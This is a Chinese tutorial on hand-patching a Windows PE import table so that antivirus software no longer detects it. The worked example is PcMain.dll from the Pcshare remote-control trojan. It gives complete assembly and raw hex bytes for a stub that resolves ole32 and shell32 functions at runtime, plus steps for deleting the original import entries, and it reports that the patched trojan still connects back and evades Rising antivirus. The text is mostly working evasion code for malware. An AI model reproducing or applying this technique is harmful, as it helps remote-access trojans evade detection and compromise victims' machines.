输入表隐藏、加密的原理和手工实现

一、前言:现在对输入表的查杀已经成为杀毒软件杀毒的一个重要方面,没有一个杀毒软件不把输入表作为查杀的对象,通常的输入表移位、重建已经不能作为免杀的重要手段,可以说杀毒软件也在逐步进步,而我先前倡导的输入表按序号重建也因为存在系统兼容性问题不能作为输入表免杀的手段。如何改变输入表部分的内容与结构,使其与原先的不同,这就是本文要探讨的问题。
二、目的:通过本文的学习,可以掌握手工导入输入表和手工加密输入表函数的名称的办法,并能学习到汇编语言的精辟。
三、基本知识
在开始之前,我们先来了解二个kernel32.dll的函数的使用方法,即:kernel32.LoadLibraryA和kernel32.GetProcAddress,它们是本文要用到的二个关键函数。具体的函数介绍可以看看这篇文章:《3个脱壳相关的重要函数介绍》
http://bbs.pediy.com/showthread.php?threadid=20230
1、LoadLibraryA函数
LoadLibrary函数是把指定的可执行模块映射进调用进程的地址空间。通俗的说,如程序需要调用ole32.dll里面的CreateStreamOnHGlobal函数,首先应该用LoadLibraryA函数找到ole32.dll的句柄。然后根据这个句柄用GetProcAddress找到CreateStreamOnHGlobal的内存指针。
它有一个参数,即动态链接库名称的内存地址。汇编语言是这样实现的(以前面为例):
PUSH 10018888   //10018888指向ole32.dll名称。
CALL DWORD PTR DS:[10019990]   //10019990是LoadLibraryA的内存指针。
结果放在EAX里面,返回值为模块句柄。
2、GetProcAddress函数
GetProcAddress函数返回指定的输出动态链接库内的函数地址。它有二个参数。汇编语言是这样实现的(以前面为例):
PUSH 1001888C   //1001888C指向CreateStreamOnHGlobal名称。
PUSH EAX   //EAX的值为LoadLibraryA的返回值,即ole32.dll的句柄。
CALL DWORD PTR DS:[1001999C]   //1001999C为GetProcAddress函数的内存指针。
结果也放在EAX里面,返回值为DLL输出函数的内存地址。
四、输入表加密工具的原理和优缺点
我在之前的免杀文章中采用了一个加密工具,可以用来加密EXE的输入表,通过这个工具加密之后,整个输入表大部分消失了,只剩下kernel32.dll和它的二个API函数,就是上面介绍的二个,LoadLibraryA函数和GetProcAddress函数。它加密的原理就是采用LoadLibraryA函数和GetProcAddress函数在程序中用代码把加密的输入表DLL的名称以及API函数的名称和内存指针恢复,用汇编语言实现是很简单的。
这个加密工具的缺点是只能加密部分EXE文件(虽然我对加密工具进行了一个修正,但据反映,有些EXE文件还是不能用来加密输入表),不能加密DLL文件。而且用这个工具加密后再通过我的改壳免杀处理服务端的方法已经被瑞星关注了,瑞星就杀在加壳后的输入表GetProcAddress函数上。
五、手工编写输入表隐藏和加密代码
现在开始本文的重点,就是用手工编写代码改变输入表的结构,隐藏部分输入表。我们以Pcshare中的PcMain.dll为例,为什么采用这个做为例子,因为下一个教程我准备出DLL改壳免杀的教程,用这个教程为下一个教程做铺垫。
我做二个示范,分别属于二种情况,一种是隐藏输入表中链接库DLL和其所有API函数,另外一种是只隐藏链接库DLL中的某一个API函数。至于加密函数名称,可以采用我的输出表加密函数名称的办法(双字节异或加密),这里不做介绍了,一般采用隐藏输入表就可以达到免杀的目的。
PcMain.dll中ole32.dll只有一个函数CreateStreamOnHGlobal,把ole32.dll和其CreateStreamOnHGlobal隐藏, 另外隐藏shell32.dll中的ShellExecuteA函数。
1、加空区段。作为代码写入的区域。记住程序原入口点为100116E3。
2、写入代码。一般采用PUSHAD开始,POPAD结束,以避免不必要的错误。同时采用CALL(下一句的地址)和POP结构实现程序的自定位,通过内存的相对位置使程序也能用于DLL文件的输入表隐藏。
我们记下几个内存值:
程序新入口点10018000
EBP:10018000
ole32.dll名称起始内存地址:1001333C(用C32ASM寻找,再换算),与EBP的差值为4CC4。
CreateStreamOnHGlobal名称起始内存地址:10013326(用C32ASM寻找,再换算),与EBP的差值为4CDA。
CreateStreamOnHGlobal原程序中起始内存指针地址:1001236C(在OD里同时按CTRL和N,再查找),与EBP的差值为5C94。
Shell32.dll名称起始内存地址:10013318(用C32ASM寻找,再换算),与EBP的差值为4CE8。
ShellExecuteA名称起始内存地址:100132E0(用C32ASM寻找,再换算),与EBP的差值为4D20。
ShellExecuteA原程序中起始内存指针地址:10012248(在OD里同时按CTRL和N查找),与EBP的差值为5DB8。
LoadLibraryA函数内存指针:100121BC(在OD里同时按CTRL和N),与EBP的差值为5E44。
GetProcAddress函数内存指针:1001210C(在OD里同时按CTRL和N),与EBP的差值为5EF4。
开始写代码,看操作。
代码如下:
10018000     60               pushad
10018001     E8 00000000     call PcMain01.10018006//自定位
10018006     5D               pop ebp//EBP的值为本行地址
10018007     83ED 06         sub ebp,6
1001800A     8BDD             mov ebx,ebp
1001800C     81EB C44C0000   sub ebx,4CC4//EBX指向ole32.dll名称起始内存地址

10018012     53               push ebx//作为参数进栈
10018013     8BDD             mov ebx,ebp
10018015     81EB 445E0000   sub ebx,5E44//EBX指向LoadLibraryA函数内存指针
1001801B     FF13         call dword ptr ds:[ebx]//调用LoadLibraryA函数
1001801D     8BF8             mov edi,eax//结果放在EDI
1001801F     8BDD             mov ebx,ebp
10018021   81EB DA4C0000   sub ebx,4CDA//EBX指向CreateStreamOnHGlobal名称起始内存地址
10018027     53               push ebx//参数进栈
10018028     57               push edi//参数进栈
10018029     8BDD             mov ebx,ebp
1001802B     81EB F45E0000   sub ebx,5EF4//EBX指向GetProcAddress函数内存指针
10018031     FF13             call dword ptr ds:[ebx]//调用GetProcAddress函数
10018033     8BDD             mov ebx,ebp
10018035     81EB 945C0000   sub ebx,5C94//EBX指向CreateStreamOnHGlobal原程序中起始内存指针地址
1001803B     8903             mov dword ptr ds:[ebx],eax//将CreateStreamOnHGlobal内存地址放入原内存指针地址
1001803D     8BDD             mov ebx,ebp//以下步骤同上,处理ShellExecuteA
1001803F     81EB E84C0000   sub ebx,4CE8
10018045     53               push ebx
10018046     8BDD             mov ebx,ebp
10018048     81EB 445E0000   sub ebx,5E44
1001804E     FF13             call dword ptr ds:[ebx]
10018050     8BF8             mov edi,eax
10018052     8BDD             mov ebx,ebp
10018054     81EB 204D0000   sub ebx,4D20
1001805A     53               push ebx
1001805B     57               push edi
1001805C     8BDD             mov ebx,ebp
1001805E     81EB F45E0000   sub ebx,5EF4
10018064     FF13             call dword ptr ds:[ebx]
10018066     8BDD             mov ebx,ebp
10018068     81EB B85D0000   sub ebx,5DB8
1001806E     8903             mov dword ptr ds:[ebx],eax
10018070     61               popad
10018071   – E9 6D96FFFF     jmp PcMain01.100116E3//跳回原入口点
二进制代码如下:60 E8 00 00 00 00 5D 83 ED 06 8B DD 81 EB C4 4C 00 00 53 8B DD 81 EB 44 5E 00 00 FF 13 8B F8 8B DD 81 EB DA 4C 00 00 53 57 8B DD 81 EB F4 5E 00 00 FF 13 8B DD 81 EB 94 5C 00 00 89 03 8B DD 81 EB E8 4C 00 00 53 8B DD 81 EB 44 5E 00 00 FF 13 8B F8 8B DD 81 EB 20 4D 00 00 53 57 8B DD 81 EB F4 5E 00 00 FF 13 8B DD 81 EB B8 5D 00 00 89 03 61 E9 6D 96 FF FF
3、删除原链接库DLL和其API函数指针。对于ole32.dll我们采用LORDPE进行操作,我们在输入表里删除ole32.dll,对于ShellExecuteA我们采用C32ASM打开文件,根据上面的ShellExecuteA原程序中起始内存指针地址换算成偏移地址,然后将其填充为00。这样我们的修改就好了。
修改好的输入表里我们删除了ole32.dll,ShellExecuteA虽然在输入表里还存在,但是它的内存指针已经没有了,可以用OD看下,同样按CTRL和N,找到ShellExecuteA,看它的内存指针变成了00。我们在Od跟踪下,指针恢复了。
测试上线成功。功能无损。
这种方法适用于所有PE文件,包括EXE和DLL文件的输入表处理

评论关闭。